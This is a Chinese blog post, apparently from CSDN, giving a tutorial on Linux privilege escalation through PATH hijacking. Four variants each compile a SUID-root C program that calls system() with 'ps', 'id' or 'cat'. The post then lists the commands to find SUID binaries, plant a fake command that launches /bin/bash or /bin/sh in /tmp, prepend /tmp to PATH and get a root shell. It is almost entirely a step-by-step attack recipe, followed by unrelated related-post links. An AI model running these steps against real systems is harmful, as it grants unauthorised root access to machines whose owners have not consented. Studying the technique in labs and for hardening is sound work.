WEB渗透Linux提权篇-环境变量提权

往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

第一种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("ps");
  }

编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("id");
  }

编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /home/raj/msg.txt");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami
相关推荐
哈哈幸运4 小时前
MySQL运维三部曲初级篇:从零开始打造稳定高效的数据库环境
linux·运维·数据库·mysql·性能优化
soulermax4 小时前
数字ic后端设计从入门到精通2(含fusion compiler, tcl教学)
java·linux·服务器
黑心老人4 小时前
Mac OS系统下kernel_task占用大量CPU资源导致系统卡顿
linux·运维·服务器·macos
Zenexus4 小时前
Linux学习笔记协议篇(六):SPI FLASH设备驱动
linux·笔记·arm
口嗨农民工4 小时前
ubuntu18.04启动不了修复
linux·运维·ubuntu
游戏开发爱好者85 小时前
iOS15描述文件在哪下载?iOS15测试版描述文件下载与升级教程
websocket·网络协议·tcp/ip·http·网络安全·https·udp
辣个蓝人QEX5 小时前
【ZYNQ MP开发】Linux下使用bootgen命令生成BOOT.bin报错架构不对问题探究
linux·arm开发·xilinx·zynq·mpsoc·bootgen·u-boot移植
Vesan,5 小时前
无人机飞控运行在stm32上的RTOS实时操作系统上,而不是linux这种非实时操作系统的必要性
linux·stm32·无人机
学习溢出5 小时前
【网络安全】OWASP 十大漏洞
网络·安全·web安全·网络安全
GalaxyPokemon6 小时前
Muduo网络库实现 [十六] - HttpServer模块
linux·运维·服务器·网络